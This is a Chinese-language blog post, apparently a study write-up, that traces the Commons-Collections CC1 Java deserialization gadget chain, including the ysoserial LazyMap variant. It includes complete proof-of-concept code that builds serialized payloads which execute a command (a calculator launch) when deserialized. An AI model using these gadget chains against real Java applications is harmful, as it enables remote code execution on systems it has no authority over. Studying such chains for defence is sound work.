MENU

Common-Collections (cc1)

August 28, 2022 • Read: 682 • Code auditing

前言

看p牛的学习路线还是先入手了cc链
apache commons-collections组件下的反序列化漏洞,自从该组件被爆出漏洞后,许多安全研究员相继挖掘到java多种组件的漏洞,危害严重。本人还是刚接触java安全不久,所有有理解偏差的地方望留言指出,感谢!

环境

jdk1.8._065(我用了openjkd对应的版本的src,这样调试的时候就很好跟进了)
commons.collections:3.2.1

首先我们还是得知道反序列化漏洞产生的原因
A1610EB999ACBF03F5EB2D6724F4DB17.png

核心还是在于调用不同类的同名方法最后导致代码执行
在CC1中也是这样,通过一个可以任意代码执行的地方反过来找到的触发点

分析过程

我们先了解一下:https://blinkfox.github.io/2018/09/13/hou-duan/java/commons/commons-collections-bao-he-jian-jie/#toc-heading-9

首先我们得知道需要rce的前提是Runtime.getRuntime().exec()
截屏2022-08-30 11.44.46.png

然后再来看看普通反射如何调用
截屏2022-08-30 17.17.44.png

然后根据cc1的利用链可以知道其中最重要的是Transformer接口
截屏2022-08-30 17.19.43.png

可以看见它调用了一个transform方法
可以找到在InvokerTransformer中有个类似后门的地方
截屏2022-08-30 17.34.10.png

很标准的java反射,作者应该是想作为java动态的考虑设置的,从而成为了漏洞利用点
再来看看参数需求
截屏2022-08-30 17.35.45.png

需要传⼊三个参数,第⼀个参数是待执⾏的⽅法名,第⼆个参数是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表,所以我们来看看这个触发点

package org.example;


import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.InvocationTargetException;



public class Cc1Test {
    public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        Runtime r = Runtime.getRuntime();
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}).transform(r);
    }
}

测试成功
截屏2022-08-30 17.40.34.png

现在就是找不同类的同名transform方法看看有无利用点,再以此回推到最先的readObject方法,链子就算成功啦
然后在TransformedMap中找到三个利用的,再来看看
截屏2022-08-30 17.48.54.png

但是由于它的构造方法是protected属性的,所有我们采用它的静态方法来访问

    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

然后再通过put方法来赋值来达到它能进入到transformKey或者transformValue中就能调用;
截屏2022-08-30 20.06.14.png

所有来试试

package org.example;


import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.InvocationTargetException;
import java.util.Map;


public class Cc1Test {
    public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        Runtime r = Runtime.getRuntime();
        InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
        HashedMap hashedMap = new HashedMap();
        Map decorate = TransformedMap.decorate(hashedMap, exec, null);
        decorate.put(r,"value");

    }
}

输出
截屏2022-08-30 20.08.22.png

这里再往前面找就很多put方法,到这里就被迫换一个,然后还在TransformedMap类中有个checkSetValue函数同样调用了transform方法
截屏2022-08-30 20.19.51.png

再跟进checkSetValue,发现进入了它父类AbstractInputCheckedMapDecorator中的一个实现类MapEntry的setValue方法
截屏2022-08-30 22.02.23.png

然后我们怎么来实现setValue方法呢
先了解一下java中遍历map的方法:https://blog.csdn.net/weixin_56921066/article/details/116427289
其中有一个使用Map.Entry的方法刚好契合,所以咱们来试试

package org.example;


import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.TransformedMap;
import java.util.Map;



public class Cc1Test {
    public static void main(String[] args) {
        Runtime r = Runtime.getRuntime();
        InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
        HashedMap hashedMap = new HashedMap();
        hashedMap.put("key","value");
        Map<Object,Object> decorate = TransformedMap.decorate(hashedMap, null, exec);
        for(Map.Entry entry:decorate.entrySet()){
            entry.setValue(r);
        }
        
    }
}

输出
截屏2022-08-30 22.14.35.png

这里就java的继承机制,可以看成是对Map类的setValue方法进行重写了,所有会直接进入MapEntry类的setValue方法,从而进入我们之前的checkSetValue,到这里前面都能连起来了

现在的意思是我们需要找到一个可以以这种方式遍历我们自己的"map",就可以走到我们的setValue的方法
现在就是找我们的setValue,发现有一个AnnotationInvocationHandler的readObject里面有个有个遍历数组的功能并对它值调用了setValue方法,这不就是梦中情类吗
截屏2022-08-30 23.17.19.png

我们来看看它的构造函数
截屏2022-08-30 23.20.01.png

第一个是接收一个class对象,另一个的接收一个Map,这个Map就可以放我们的一个自己构造的"map"
但是要注意由于它是defult类型的,只能通过反射获取

       Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
       Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
       declaredConstructor.setAccessible(true);
       Object o = declaredConstructor.newInstance(Override.class, decorate);

到这步之后我们需要解决几个问题,我们知道Runtime并未继承Serializable接口,不能直接被序列化和反序列化
截屏2022-08-31 11.03.31.png

还有就是需要利用成功AnnotationInvocationHandler,有两个地方需要注意
截屏2022-08-31 11.08.58.png

首先我们来解决Runtime不能序列化的问题,我们知道对应的class对象可以被序列化,所有对Runtime我们需要反射调用这个类

        Class clazz = Runtime.class;/
        Method getRuntime = clazz.getMethod("getRuntime", null);
        Runtime invoke = (Runtime) getRuntime.invoke(null, null);
        Method exec = clazz.getMethod("exec", String.class);
        exec.invoke(invoke,"/System/Applications/Calculator.app/Contents/MacOS/Calculator");

然后我们再改成InvokerTransformer().transform()的形式

        Method getRuntime = (Method) new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
        Runtime invoke = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntime);
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}).transform(invoke);

现在这个Runtime的问题解决了,我们发现是transform的循环调用,这样写有点复杂,在ChainedTransformer里有一个循环递归调用的地方刚好契合,可以拿来替代
截屏2022-08-31 16.13.01.png

封装之后的代码如下

 Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        chainedTransformer.transform(Runtime.class);

这个问题解决了,我们再看第二个地方,断点调试到这里发现是null,进不去
截屏2022-08-31 16.33.31.png

memberTyp是对注释的成员变量然后进行比较,所有我们需要换一个有成员方法的注解,并把我们之前的key值改为该成员变量名即可绕过
截屏2022-08-31 16.40.23.png

这个注解符合再次断点调试,明显第二次绕过了,第三处那个if我们本来就强转不了,可以进到那个setVlue方法,这里我们需要来看看如何控制这个参数,发现在ConstantTransformer中可以利用
截屏2022-08-31 17.22.45.png

然后它的transform方法
截屏2022-08-31 17.23.13.png

嵌套一个这个类,这样就能返回得到我们构造的东西了,所有demo:

package org.example;


import com.sun.javafx.tools.packager.Param;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.TransformedMap;


import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;



public class Cc1Test {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashedMap hashedMap = new HashedMap();
        hashedMap.put("value", "value");
        Map<Object, Object> decorate = TransformedMap.decorate(hashedMap, null, chainedTransformer);
        Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        Object o = declaredConstructor.newInstance(Retention.class, decorate);
        Serializable(o,"test.bin");
        Unserializable("test.bin");
    }
    public static void Serializable(Object object,String filename) throws IOException {
        OutputStream out = new FileOutputStream(filename);
        ObjectOutputStream objOut = new ObjectOutputStream(out);
        objOut.writeObject(object);
        objOut.close();
    }
    public static Object Unserializable(String filename) throws IOException, ClassNotFoundException {
        InputStream in = new FileInputStream(filename);
        ObjectInputStream objIn = new ObjectInputStream(in);
        Object obj = objIn.readObject();
        return obj;
    }


}

测试
截屏2022-08-31 17.24.41.png

最终利用链为

Gadget chain:
        ObjectInputStream.readObject()
            AnnotationInvocationHandler.readObject()
                         TransformedMap.decorate()
                            Map(Proxy).entrySet()
                            MapEntry.setValue()
                            TransformedMap.checkSetValue()
​                              ChainedTransformer.transform()
​                                ConstantTransformer.transform()
​                                InvokerTransformer.transform()
​                                    Method.invoke()
​                                        Class.getMethod()
​                                InvokerTransformer.transform()
​                                    Method.invoke()
​                                        Runtime.getRuntime()
​                                InvokerTransformer.transform()
​                                    Method.invoke()
​                                        Runtime.exec()

ysoserial中的LazyMap

上面那条链子已经一步一步的很透彻了
看看这条链子的利用链

Gadget chain:
        ObjectInputStream.readObject()
            AnnotationInvocationHandler.readObject()
                Map(Proxy).entrySet()
                    AnnotationInvocationHandler.invoke()
                        LazyMap.get()
                            ChainedTransformer.transform()
                                ConstantTransformer.transform()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Class.getMethod()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.getRuntime()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.exec()
            

很明显这两条链子相差不是很大,只是把我们的TransformedMa替换为了LazyMap而已,我们再来看看,发现被调用的地方在这里
截屏2022-08-31 19.22.48.png

但是要利用它我们需要不能传入已经存在的key,然后需要找到入口,看它的链子它是在AnnotationInvocationHandler.invoke()中找到的入口
截屏2022-08-31 19.28.39.png

这里确实是我们能够控制的,但是我们需要怎么调用这个invoke呢,其实只需要一个动态代理

sun.reflect.annotation.AnnotationInvocationHandler这个类实际上就是一个InvocationHandler,可以通过Proxy类的newProxyInstance来动态创建代理,
当这个被代理的对象调用任意方法时,就会调用对应InvocationHandler里的invoke方法,所以在此处可以进入到AnnotationinvocationHandler的invoke方法里去,之间需要一个无参调用才能绕过中间那个异常达到get方法

截屏2022-08-31 20.17.55.png

很巧,还是AnnotationinvocationHandler类的readObject方法里有个无参方法,所有外面再套一层
所有最终:

package org.example;


import com.sun.javafx.tools.packager.Param;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;


import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;



public class Cc1Test {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashedMap hashedMap = new HashedMap();
        Map<Object, Object> decorate = LazyMap.decorate(hashedMap, chainedTransformer);

        Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        Object o = declaredConstructor.newInstance(Override.class, decorate);

        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, (InvocationHandler) o);

        Object o2 = declaredConstructor.newInstance(Override.class,mapProxy );
        //Serializable(o2,"test.bin");
        Unserializable("test.bin");


    }
    public static void Serializable(Object object,String filename) throws IOException {
        OutputStream out = new FileOutputStream(filename);
        ObjectOutputStream objOut = new ObjectOutputStream(out);
        objOut.writeObject(object);
        objOut.close();
    }
    public static Object Unserializable(String filename) throws IOException, ClassNotFoundException {
        InputStream in = new FileInputStream(filename);
        ObjectInputStream objIn = new ObjectInputStream(in);
        Object obj = objIn.readObject();
        return obj;
    }


}

测试
截屏2022-08-31 20.19.48.png

其实就和它的原poc一样的原理了,只是它是工具,有些其他封装的调用罢了,cc1就到这了

Last Modified: September 2, 2022
Archives Tip
QR Code for this page
Tipping QR Code